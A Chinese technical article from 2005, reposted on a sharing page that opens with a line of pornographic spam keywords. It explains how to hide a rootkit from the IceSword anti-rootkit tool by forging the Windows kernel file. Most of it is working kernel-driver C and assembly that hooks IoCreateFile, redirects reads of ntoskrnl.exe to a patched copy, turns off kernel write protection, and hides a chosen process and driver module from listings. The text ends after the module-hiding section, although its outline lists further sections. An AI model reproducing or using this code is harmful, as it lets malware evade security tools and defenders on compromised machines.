乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      利用偽造內核文件來繞過IceSword的檢測

       intruder 2006-01-09
      創(chuàng)建時間:2005-12-20
      文章屬性:原創(chuàng)
      文章提交:backspray (nimaozhi_at_163.com)

      作者:倪茂志
      郵件:backspray008@gmail.com
      完成于:2005.12.20


      文章分為八個部分:

                      一、為什么需要偽造內核
                      二、偽造內核文件
                      三、隱藏進程
                      四、隱藏內核模塊
                      五、隱藏服務
                      六、隱藏注冊表
                      七、隱藏文件
                      八、關于端口

      另:建議先看看最后那些參考文章。


      一、為什么需要偽造內核:

          IceSword(以下簡稱IS)為了防止一些關鍵系統(tǒng)函數(shù)(包括所有服務中斷表中的函數(shù)以及IS驅動部分要使用到的一些關鍵函數(shù))被patch,它直接讀取內核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE結構來獲取關鍵系統(tǒng)函數(shù)的原始代碼并且把當前內核中所有的關鍵系統(tǒng)函數(shù)還原為windows默認狀態(tài),這樣保證了IS使用到的函數(shù)不被patch過。也許你會想如果我們把還原后的函數(shù)再進行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數(shù)。結果IS棋高一籌,在對所有的關鍵系統(tǒng)函數(shù)進行還原以后,IS每次調用這些函數(shù)前都會先把這些函數(shù)還原一次。這樣還是能保證IS自己使用到的關鍵系統(tǒng)函數(shù)不被patch。也許你還會想縮小Timer的時間間隔,以致于IS對這些函數(shù)進行還原后,這些函數(shù)馬上又被我們patch,這樣IS再調用這些函數(shù)時不還是執(zhí)行了我們patch過的函數(shù)。這種想法粗略看起來可以,但你仔細一想就知道是不行的。

          治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內容,使得IS一開始讀入的就已經(jīng)是我們patch過得函數(shù)內容,這樣不就躲過去了。這種想法有兩個很大的副作用:

          1、在通常的默認情況下,windows的系統(tǒng)文件保護是打開的,要停止這種系統(tǒng)文件保護要付出很大的代價,有可能需要重啟。

          2、就算你停止了系統(tǒng)文件保護,也成功修改了ntoskrnl.exe,但是你不能保證系統(tǒng)每次都能正常關機
             假如系統(tǒng)非法關機重啟,由于你還來未對ntoskrnl.exe進行還原,此時會發(fā)生什么情況我也就不多說了。

          而偽造內核文件就很好的避免了上面談的兩大副作用。主要處理下面三個點:

          1、截獲并修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內核文件(假設為“otoskrnl.exe”)

          2、在內核文件中定位我們要修改的數(shù)據(jù)。

          3、隱藏我們偽造的“otoskrnl.exe”,這點請看本文的第七部分。



      二、    偽造內核文件:

      先說一下本文hook函數(shù)的方式:

          1、取該函數(shù)起始地址的前六個字節(jié)內容保留在unsigned char resume[6]中。

          2、把構造的兩條指令push xxxxxxxx(我們自己構造的函數(shù)地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個字節(jié))中。

          3、把該函數(shù)起始址的6個字節(jié)替換成crackcode[6]的內容。這樣系統(tǒng)調用該函數(shù)時就會先跳到xxxxxxxx地址去執(zhí)行我們構造的函數(shù)。

          而我們構造的xxxxxxxx函數(shù)的主要結構如下:

          1、把我們hook的那個函數(shù)起始的前6個字節(jié)用resume[6]內容進行還原。

          2、對傳遞的程序參數(shù)進行處理等。

          3、調用被還原后的函數(shù)。

          4、此時可以處理函數(shù)返回后的數(shù)據(jù)等。

          5、把還原后的那個函數(shù)的起始地址前6個字節(jié)再用crackcode[6]內容進行替換。

          6、返回。


          IS是通過IoCreateFile函數(shù)來打開ntoskrnl.exe,因此我們只要hook這個函數(shù),并檢查其打開的文件名,如果是打開ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對于ntoskrnl.exe文件的操作都會指向otoskrnl.exe, 當然前提是你在進入驅動前記得先把ntoskrnl.exe在原目錄下復制一份并命名為otoskrnl.exe。

          關于我們要修改的數(shù)據(jù)在ntoskrnl.exe中偏移的算法也很簡單,這里給出公式如下:

          函數(shù)在中文件偏移=當前函數(shù)在內存中的地址 - 當前函數(shù)所在驅動模塊的起始地址

          舉個例子來說,假設IoCreateFile在內核中的內存地址是0x8056d1234,由于它是在內存中ntoskrnl.exe模塊中,假設ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盤上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。

          再進行詳細點說明:假設你對IoCreateFile函數(shù)進行了patch,使得該函數(shù)起始地址的6前六節(jié)的數(shù)據(jù)XXXXXX變成了YYYYYY。那么你只要打開otoskrnl.exe,把文件偏移調整到上面所說的0x110123處,在寫入6個字節(jié)的數(shù)據(jù)YYYYYY。那么當IS打開otoskrnl.exe的話,讀出的數(shù)據(jù)就是YYYYYY了!

          下面的代碼實現(xiàn)兩個功能,一個功能就是hook了IoCreateFile函數(shù),使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一個功能就是進行偽造內核(函數(shù)RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數(shù)內容就是我們要hook的函數(shù)在內存中的地址。RepairDataPtr是指向字符crackcode[6]第一個字節(jié)的指針。主要功能就是先把要hook的函數(shù)地址在otoskrnl.exe文件中進行定位,然后再把crackcode[6]內容寫進去。

      #include "ntddk.h"
      #include "stdarg.h"
      #include "stdio.h"
      #include "ntiologc.h"
      #include "string.h"

      #define DWORD unsigned long
      #define WORD unsigned short
      #define BOOL unsigned long

      PCWSTR    NTOSKRNL=L"ntoskrnl.exe"

      unsigned char ResumCodeIoCreateFile[6];
      unsigned char CrackCodeIoCreateFile[6];

      typedef NTSTATUS ( *IOCREATEFILE )(

        OUT PHANDLE                FileHandle,
        IN ACCESS_MASK            DesiredAccess,
        IN POBJECT_ATTRIBUTES            ObjectAttributes,
        OUT PIO_STATUS_BLOCK            IoStatusBlock,
        IN PLARGE_INTEGER            AllocationSize OPTIONAL,
        IN ULONG                FileAttributes,
        IN ULONG                ShareAccess,
        IN ULONG                Disposition,
        IN ULONG                CreateOptions,
        IN PVOID                EaBuffer OPTIONAL,
        IN ULONG                EaLength,
        IN CREATE_FILE_TYPE            CreateFileType,
        IN PVOID                ExtraCreateParameters OPTIONAL,
        IN ULONG                Options );

      IOCREATEFILE    OldIoCreateFile;

      DWORD GetFunctionAddr( IN PCWSTR FunctionName)
      {
          UNICODE_STRING UniCodeFunctionName;

                  RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
                  return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );    

      }

      NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
      {
          NTSTATUS Status;    
          HANDLE FileHandle;
          OBJECT_ATTRIBUTES FObject;
          IO_STATUS_BLOCK IOSB;
          UNICODE_STRING    FileName;
          LARGE_INTEGER NtosFileOffset;

                      RtlInitUnicodeString (
                                  &FileName,
                                  L"\\SystemRoot\\system32\\otoskrnl.exe" );

                      InitializeObjectAttributes (
                                       &FObject,
                                       &FileName,
                                       OBJ_KERNEL_HANDLE,
                                       NULL,
                                       NULL);
                      Status = ZwCreateFile(
                                  &FileHandle,
                                  FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
                                  &FObject,
                                  &IOSB,
                                  NULL,
                                  FILE_ATTRIBUTE_NORMAL,
                                  0,
                                  FILE_OPEN,
                                  FILE_NON_DIRECTORY_FILE,
                                  NULL,
                                  0
                                   );
                      if ( Status != STATUS_SUCCESS )
                      {
                          return Status;
                      }

                      //下面計算出函數(shù)在otoskrnl.exe中的偏移,NtoskrnlBase就是
                      //Ntoskrnl.exe在內存中的起始地址,在第四部分隱藏內核模塊
                      //時會提到它的獲取方法。

                      NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;

                      Status = ZwWriteFile(
                                  FileHandle,
                                  NULL,
                                  NULL,
                                  NULL,
                                  &IOSB,
                                  (unsigned char *)RepairDataPtr,
                                  0x6,
                                  &NtosFileOffset,
                                  NULL);
                      if ( Status != STATUS_SUCCESS )
                      {
                          return Status;
                      }
                      Status = ZwClose( FileHandle );
                      if ( Status != STATUS_SUCCESS )
                      {
                          return Status;
                      }
                      return STATUS_SUCCESS;    

      }

      NTSTATUS NewIoCreateFile (

        OUT PHANDLE                FileHandle,
        IN ACCESS_MASK            DesiredAccess,
        IN POBJECT_ATTRIBUTES            ObjectAttributes,
        OUT PIO_STATUS_BLOCK            IoStatusBlock,
        IN PLARGE_INTEGER            AllocationSize OPTIONAL,
        IN ULONG                FileAttributes,
        IN ULONG                ShareAccess,
        IN ULONG                Disposition,
        IN ULONG                CreateOptions,
        IN PVOID                EaBuffer OPTIONAL,
        IN ULONG                EaLength,
        IN CREATE_FILE_TYPE            CreateFileType,
        IN PVOID                ExtraCreateParameters OPTIONAL,
        IN ULONG                Options )

      {
          NTSTATUS Status;
          PCWSTR IsNtoskrnl = NULL;
          PCWSTR FileNameaddr=NULL;

              _asm    //對IoCreateFile函數(shù)進行還原
              {
                  pushad
                  mov edi, OldIoCreateFile
                  mov eax, dword ptr ResumCodeIoCreateFile[0]
                  mov [edi], eax
                  mov ax, word ptr ResumCodeIoCreateFile[4]
                  mov [edi+4], ax
                  popad
              }

              
              _asm    //獲取要打開的文件名地址
              {
                  pushad
                  mov edi, ObjectAttributes
                  mov eax, [edi+8]
                  mov edi, [eax+4]
                  mov FileNameaddr, edi
                  popad
              }

              IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時打開ntoskrnl.exe

              if ( IsNtoskrnl != NULL )
              {
                  _asm    //是的話,則把ntoskrnl.exe替換成otoskrnl.exe
                  {
                      pushad
                      mov edi, IsNtoskrnl
                      mov [edi], 0x006F
                      popad
                  }
              }

              Status = OldIoCreateFile (
                  
                              FileHandle,
                              DesiredAccess,
                              ObjectAttributes,
                              IoStatusBlock,
                              AllocationSize OPTIONAL,
                              FileAttributes,
                              ShareAccess,
                              Disposition,
                              CreateOptions,
                              EaBuffer OPTIONAL,
                              EaLength,
                              CreateFileType,
                              ExtraCreateParameters OPTIONAL,
                              Options );

              _asm //把還原后的代碼又替換成我們偽造的代碼
                  {
                      pushad
                      mov edi, OldIoCreateFile
                      mov eax, dword ptr CrackCodeIoCreateFile[0]
                      mov [edi], eax
                      mov ax, word ptr CrackCodeIoCreateFile[4]
                      mov [edi+4], ax
                      popad
                  }        
              return Status;

      }


      NTSTATUS PatchIoCreateFile()
      {
          NTSTATUS Status;
                  
                  OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");

                  if ( OldIoCreateFile == NULL )
                  {
                      DbgPrint("Get IoCreateFile Addr Error!!");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  _asm  //關中斷
                     {
                      CLI                
                      MOV    EAX, CR0    
                      AND EAX, NOT 10000H  
                      MOV    CR0, EAX        
                  }
                  _asm
                  {
                      pushad
                      //獲取 IoCreateFile 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
                      mov edi, OldIoCreateFile
                      mov eax, [edi]
                      mov dword ptr ResumCodeIoCreateFile[0], eax
                      mov ax, [edi+4]
                      mov word  ptr ResumCodeIoCreateFile[4], ax
                      
                      //構造要替換的代碼,使得系統(tǒng)調用函數(shù)時跳到我們構造的NewIoCreateFile去執(zhí)行
                      mov byte ptr CrackCodeIoCreateFile[0], 0x68
                      lea edi, NewIoCreateFile
                      mov dword ptr CrackCodeIoCreateFile[1], edi
                      mov byte ptr CrackCodeIoCreateFile[5], 0xC3

                      //把構造好的代碼進心替換
                      mov edi, OldIoCreateFile
                      mov eax, dword ptr CrackCodeIoCreateFile[0]
                      mov dword ptr[edi], eax
                      mov ax, word ptr CrackCodeIoCreateFile[4]
                      mov word ptr[edi+4], ax
                      popad
                  }

                  _asm //開中斷
                  {
                      MOV    EAX, CR0      
                      OR    EAX, 10000H            
                      MOV    CR0, EAX              
                      STI                    
                  }

                  Status = RepairNtosFile(
                                  (DWORD)OldIoCreateFile,
                                  (DWORD)(&CrackCodeIoCreateFile));

                  return Status;

      }

          上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數(shù)地址)以及RepairNtosFile()(功能上文已經(jīng)介紹)函數(shù)。為節(jié)省版面,在下面的代碼中將直接對其進行引用,而不再貼出它們的代碼。下面的代碼將不會再include頭文件。而是直接定義自己所使用到的變量。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒有給出Unloaded例程(浪費版面),自己看著寫了另外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過,其他代碼均再2K及XP下測試并通過。筆者在寫這些代碼時雖然兼顧到了2K3,但是筆者并沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產生主要有兩種原因:一是當時的我認為某些東西用匯編指令來表示非常直觀,如還原與替換函數(shù)代碼那個部分。二是在分析一些數(shù)據(jù)時,由于眼前面對的是純16進制的數(shù)據(jù),于是也沒多想咔咔就用匯編寫了一個循環(huán)下來。如果給你閱讀代碼造成了不便,筆者在這表示歉意。


      三、    隱藏進程

          對付IS枚舉進程ID的思路是這樣的,hook系統(tǒng)函數(shù)ExEnumHandleTable,使它先運行我們指定的函數(shù)NewExEnumHandleTable,在NewExEnumHandleTable函數(shù)中,我們先獲取它的回調函數(shù)參數(shù)Callback所指向的函數(shù)地址,把它所指向的函數(shù)地址先放到OldCallback中,然后用我們構造的新的回調函數(shù)FilterCallback去替換掉原來的Callback。這樣該函數(shù)在執(zhí)行回調函數(shù)時就會先調用我們給它的FilterCallback回調函數(shù)。在我們設計的FilterCallback中,判斷當前進程ID是否時我們要隱藏的進程ID,不是的話則把參數(shù)傳給OldCallback去執(zhí)行,如果是的話則直接return。這樣就起到隱藏進程的作用。

          以上是對付IS的,對于應付windows進程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進程名來確定自己要隱藏的進程。這種方法對于隱藏要啟動兩個和兩個以上相同名字的進程比較可取,但問題是如果你只是要隱藏一個進程的話。那么這個方法就顯得不完美了。完全可以通過直接比較進程ID來確定自己要隱藏的進程。建議不到不得以的時候盡量不要使用比較文件名的方法,太影響效率。

          下面的代碼中,GetProcessID()函數(shù)是用來從注冊表中讀取要隱藏的進程ID,當然首先你要在注冊表設置這個值。用注冊表還是很方便的。

          PatchExEnumHandleTable()函數(shù)是通過hook系統(tǒng)函數(shù)ExEnumHandleTable函數(shù)實現(xiàn)在IS中隱藏目標進程,PatchNtQuerySystemInformation ()函數(shù)是通過hook系統(tǒng)函數(shù)NtQuerySystemInformation并通過比較進程ID的方法實現(xiàn)隱藏進程。


      HANDLE ProtectID;
      unsigned char ResumCodeExEnumHandleTable[6];
      unsigned char CrackCodeExEnumHandleTable[6];
      unsigned char ResumCodeNtQuerySystemInformation[6];
      unsigned char CrackCodeNtQuerySystemInformation[6];

      typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

        IN ULONG                        SystemInformationClass,
        OUT PVOID                        SystemInformation,
        IN ULONG                        SystemInformationLength,
        OUT PULONG                        ReturnLength OPTIONAL  );

      NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

      typedef VOID (*EXENUMHANDLETABLE)  
      (  
          PULONG        HandleTable,  
          PVOID        Callback,  
          PVOID        Param,  
          PHANDLE        Handle  OPTIONAL
      );

      EXENUMHANDLETABLE    OldExEnumHandleTable;

      typedef BOOL (*EXENUMHANDLETABLECALLBACK)
      (
          DWORD   HANDLE_TALBE_ENTRY,
          DWORD    PID,
          PVOID    Param
      );

      EXENUMHANDLETABLECALLBACK    OldCallback;

      NTSTATUS GetProcessID (
                  IN PUNICODE_STRING theRegistryPath
                  )
      {
          OBJECT_ATTRIBUTES ObjectAttributes;
          NTSTATUS Status;

          HANDLE KeyHandle;
          PHANDLE Phandle;
          PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
          ULONG valueInfoLength,returnLength;

          UNICODE_STRING UnicodeProcIDreg;


                  InitializeObjectAttributes (
                                  &ObjectAttributes,
                                  theRegistryPath,
                                  OBJ_CASE_INSENSITIVE,
                                  NULL,
                                  NULL );

                  Status = ZwOpenKey (
                              &KeyHandle,
                              KEY_ALL_ACCESS,
                              &ObjectAttributes );

                  if (Status != STATUS_SUCCESS)
                  {
                      DbgPrint("ZwOpenKey Wrong\n");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  RtlInitUnicodeString (
                              &UnicodeProcIDreg,
                              L"ProcessID" );

                  valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);

                  valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
                                                  NonPagedPool,
                                                  valueInfoLength );
                  Status = ZwQueryValueKey (
                                  KeyHandle,
                                  &UnicodeProcIDreg,
                                  KeyValuePartialInformation,
                                  valueInfoP,
                                  valueInfoLength,
                                  &returnLength );

                  if (Status != STATUS_SUCCESS)
                  {
                      DbgPrint("ZwOpenKey Wrong\n");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  Phandle = (PHANDLE)(valueInfoP->Data);

                  ProtectID = *Phandle;

                  ZwClose(KeyHandle);

                  return STATUS_SUCCESS;

      }

      BOOL FilterCallback (
                  DWORD   HANDLE_TALBE_ENTRY,
                  DWORD    PID,
                  PVOID    Param )
      {

              if ( PID != (DWORD)ProtectID)    //判斷是否是我們要隱藏的進程
              {
                  return OldCallback (
                              HANDLE_TALBE_ENTRY,
                              PID,
                              Param );
              }
              else
              {
                  return FALSE; //是的話直接返回
              }
      }

      BOOL FilterCallback (
                  DWORD   HANDLE_TALBE_ENTRY,
                  DWORD    PID,
                  PVOID    Param )
      {

              if ( PID != (DWORD)ProtectID)    //判斷是否是我們要隱藏的進程
              {
                  return OldCallback (
                              HANDLE_TALBE_ENTRY,
                              PID,
                              Param );
              }
              else
              {
                  return FALSE; //是的話直接返回
              }
      }



      VOID NewExEnumHandleTable(
                      PULONG        HandleTable,  
                      PVOID        Callback,  
                      PVOID        Param,  
                      PHANDLE        Handle  OPTIONAL )    
      {

              OldCallback = Callback; //把Callback參數(shù)給OldCallback進行保留

              Callback = FilterCallback; //用FilterCallback替換調原來的Callback

              _asm  //還原
              {
                  pushad
                  mov edi, OldExEnumHandleTable
                  mov eax, dword ptr ResumCodeExEnumHandleTable[0]
                  mov [edi], eax
                  mov ax, word ptr ResumCodeExEnumHandleTable[4]
                  mov [edi+4], ax
                  popad
              }

                  OldExEnumHandleTable (
                              HandleTable,  
                              Callback,  
                              Param,  
                              Handle  OPTIONAL );
              _asm //替換
              {
                  pushad
                  mov edi, OldExEnumHandleTable
                  mov eax, dword ptr CrackCodeExEnumHandleTable[0]
                  mov [edi], eax
                  mov ax, word ptr CrackCodeExEnumHandleTable[4]
                  mov [edi+4], ax
                  popad
              }
              return ;
      }

      NTSTATUS PatchExEnumHandleTable()
      {
          NTSTATUS Status;

                   OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");

                   if ( OldExEnumHandleTable == NULL )
                   {
                       DbgPrint("Get ExEnumHandleTable Addr Error!!");
                       return STATUS_DEVICE_CONFIGURATION_ERROR;
                   }

                   _asm    //關中斷
                     {
                      CLI                    
                      MOV    EAX, CR0  
                      AND EAX, NOT 10000H
                      MOV    CR0, EAX  
                  }
                   _asm
                  {
                      pushad
                      //獲取ExEnumHandleTable函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
                      mov edi, OldExEnumHandleTable
                      mov eax, [edi]
                      mov dword ptr ResumCodeExEnumHandleTable[0], eax
                      mov ax, [edi+4]
                      mov word  ptr ResumCodeExEnumHandleTable[4], ax
                      
                      //構造要替換的代碼,使得系統(tǒng)調用該函數(shù)時跳到我們構造的NewExEnumHandleTable去執(zhí)行
                      mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
                      lea edi, NewExEnumHandleTable
                      mov dword ptr CrackCodeExEnumHandleTable[1], edi
                      mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3

                      //把構造好的代碼進心替換
                      mov edi, OldExEnumHandleTable
                      mov eax, dword ptr CrackCodeExEnumHandleTable[0]
                      mov dword ptr[edi], eax
                      mov ax, word ptr CrackCodeExEnumHandleTable[4]
                      mov word ptr[edi+4], ax
                      popad
                  }

                   _asm //開中斷
                  {
                      MOV    EAX, CR0        
                      OR    EAX, 10000H  
                      MOV    CR0, EAX          
                      STI          
                  }
                  
                  Status = RepairNtosFile(
                              (DWORD)OldExEnumHandleTable,
                              (DWORD)(&CrackCodeExEnumHandleTable) );

                  return Status;
      }

      NTSTATUS NewNtQuerySystemInformation(

        IN ULONG        SystemInformationClass,
        OUT PVOID        SystemInformation,
        IN ULONG        SystemInformationLength,
        OUT PULONG        ReturnLength OPTIONAL )
      {
          NTSTATUS Status;
          DWORD     Bprocess;

              _asm  
              {
                  pushad
                  mov edi, OldNtQuerySystemInformation
                  mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
                  mov [edi], eax
                  mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
                  mov [edi+4], ax
                  popad
              }

              Status=OldNtQuerySystemInformation (
                                  SystemInformationClass,
                                  SystemInformation,
                                  SystemInformationLength,
                                  ReturnLength OPTIONAL );
              _asm
              {
                  pushad
                  mov edi, OldNtQuerySystemInformation
                  mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                  mov [edi], eax
                  mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                  mov [edi+4], ax
                  popad
              }

              if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
              {
                  return Status;
              }

              _asm
              {
                  pushad

                  mov ecx, ProtectID
                  mov edi, SystemInformation

      ProcessListNEnd:
                  mov Bprocess, edi
                  mov eax, [edi]
                  test eax, eax
                  jz ProcessListEnd
                  add edi, eax

                  mov eax, [edi+0x44]
                  cmp eax, ecx
                  jz FindOut
                  jmp ProcessListNEnd
      FindOut:
                  mov ebx, [edi]
                  test ebx, ebx
                  jz listend
                  mov eax, Bprocess
                  mov edx, [eax]
                  add ebx, edx
                  mov [eax], ebx
                  jmp hideOK

      listend:
                  mov eax,    Bprocess
                  mov [eax],  0
      hideOK:    
                  
      ProcessListEnd:

                  popad
              }
              return Status;
      }




      NTSTATUS PatchNtQuerySystemInformation ()
      {
          NTSTATUS Status;
                  
                  OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");

                  if ( OldNtQuerySystemInformation == NULL )
                  {
                      DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  _asm    //關中斷
                     {
                      CLI        
                      MOV    EAX, CR0        
                      AND EAX, NOT 10000H
                      MOV    CR0, EAX        
                  }
                  _asm
                  {
                      pushad
                      //獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
                      mov edi, OldNtQuerySystemInformation
                      mov eax, [edi]
                      mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
                      mov ax, [edi+4]
                      mov word  ptr ResumCodeNtQuerySystemInformation[4], ax
                      
                      //構造要替換的代碼,使得系統(tǒng)調用該函數(shù)時跳到我們構造的NewNtQuerySystemInformation去執(zhí)行
                      mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
                      lea edi, NewNtQuerySystemInformation
                      mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
                      mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

                      //把構造好的代碼進心替換
                      mov edi, OldNtQuerySystemInformation
                      mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                      mov dword ptr[edi], eax
                      mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                      mov word ptr[edi+4], ax
                      popad
                  }
                  _asm //開中斷
                  {
                      MOV    EAX, CR0      
                      OR    EAX, 10000H          
                      MOV    CR0, EAX              
                      STI                    
                  }
                  Status = RepairNtosFile(
                                  (DWORD)OldNtQuerySystemInformation,
                                  (DWORD)(&CrackCodeNtQuerySystemInformation) );

                  return Status;

      }


      四、隱藏內核模塊

          對于內核模塊,我原以為IS會通過獲取內核變量PsLoadedModuleList,然后在通過這個來遍歷所有的內核模塊。假設此時獲得結果1。通過調用函數(shù)NtQuerySystemInformation,參數(shù)SystemModuleInformation,假設此時獲得結果2。再把結果1與結果2進行比較,這樣就會發(fā)現(xiàn)被隱藏的模塊。但事實證明我想的太復雜了。而IS只進行了獲取結果2的過程。而沒有去執(zhí)行獲取結果1的過程。

          下面的代碼可以在IS下隱藏自己的內核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數(shù)的地址,把該地址給DriverAddr,利用DriverAddr在上述的結果2中定位,通過DriverAddr肯定會大于自己這個模塊的起始地址并且小于自己這個模塊的結束地址來定位。

      DWORD DriverAddr;
      unsigned char ResumCodeNtQuerySystemInformation[6];
      unsigned char CrackCodeNtQuerySystemInformation[6];
      typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

        IN ULONG        SystemInformationClass,
        OUT PVOID        SystemInformation,
        IN ULONG        SystemInformationLength,
        OUT PULONG        ReturnLength OPTIONAL  );

      NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

      NTSTATUS NewNtQuerySystemInformation(

        IN ULONG        SystemInformationClass,
        OUT PVOID        SystemInformation,
        IN ULONG        SystemInformationLength,
        OUT PULONG        ReturnLength OPTIONAL )
      {
          NTSTATUS Status;

              _asm  //還原
              {
                  pushad
                  mov edi, OldNtQuerySystemInformation
                  mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
                  mov [edi], eax
                  mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
                  mov [edi+4], ax
                  popad
              }
              
              Status = ZwQuerySystemInformation (
                                  SystemInformationClass,
                                  SystemInformation,
                                  SystemInformationLength,
                                  ReturnLength OPTIONAL );
              _asm //替換
              {
                  pushad
                  mov edi, OldNtQuerySystemInformation
                  mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                  mov [edi], eax
                  mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                  mov [edi+4], ax
                  popad
              }

              if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )  //是否是獲取模塊信息
              {
                  return Status;  
              }

              _asm
              {
                  pushad

                  mov edi, SystemInformation
                  mov ecx, [edi]            //eax=模塊數(shù)目
                  add edi, 0x4

      NextModuleInfo:

                  mov eax, [edi+0x8]    
                  mov edx, [edi+0xC]  
                  
                  add edx, eax    
                  mov ebx, DriverAddr

                  cmp ebx, eax
                  ja    FirstMatch
                  dec ecx
                  test ecx, ecx
                  jz  ArrayEnd

                  add edi, 0x11c
                  jmp NextModuleInfo

      FirstMatch:
                  cmp ebx, edx
                  jb SecMatch    //找到的話則跳去把該模塊以后的模塊數(shù)據(jù)前移已覆蓋掉此模塊

                  dec ecx
                  test ecx, ecx
                  jz  ArrayEnd
                  add edi, 0x11c
                  jmp NextModuleInfo
      SecMatch:
                  dec ecx
                  xor eax, eax
                  mov ax, 0x11c
                  mul cx
                  xor ecx, ecx
                  mov ecx, eax
                  mov esi, edi
                  add esi, 0x11c
                  rep movsb
                  mov edi, SystemInformation
                  mov eax, [edi]
                  dec eax
                  mov [edi], eax            //完成
      ArrayEnd:
                  popad
              }
              return Status;
      }

      NTSTATUS PatchNtQuerySystemInformation()
      {
          NTSTATUS Status;
                  
                  OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );

                  if ( OldNtQuerySystemInformation == NULL )
                  {
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  _asm    //關中斷
                  {
                      CLI                  
                      MOV    EAX, CR0      
                      AND EAX, NOT 10000H
                      MOV    CR0, EAX      
                  }

                  _asm
                  {
                      pushad
                      //獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)

                      lea eax, NewNtQuerySystemInformation    
                      mov DriverAddr, eax //把NewNtQuerySystemInformation函數(shù)地址給DriverAddr

                      mov edi, OldNtQuerySystemInformation
                      mov eax, [edi]
                      mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
                      mov ax, [edi+4]
                      mov word  ptr ResumCodeNtQuerySystemInformation[4], ax
                      
                      //構造要替換的代碼,使得系統(tǒng)調用該函數(shù)時跳到我們構造的NewNtQuerySystemInformation去執(zhí)行
                      mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
                      lea edi, NewNtQuerySystemInformation
                      mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
                      mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

                      //把構造好的代碼進行替換
                      mov edi, OldNtQuerySystemInformation
                      mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
                      mov dword ptr[edi], eax
                      mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
                      mov word ptr[edi+4], ax
                      popad
                  }

                  _asm //開中斷
                  {
                      MOV    EAX, CR0      
                      OR    EAX, 10000H        
                      MOV    CR0, EAX          
                      STI                    
                  }

                  Status = RepairNtosFile (
                                  (DWORD)OldNtQuerySystemInformation,
                                  (DWORD)&CrackCodeNtQuerySystemInformation[0] );
                  return Status;
                  
      }
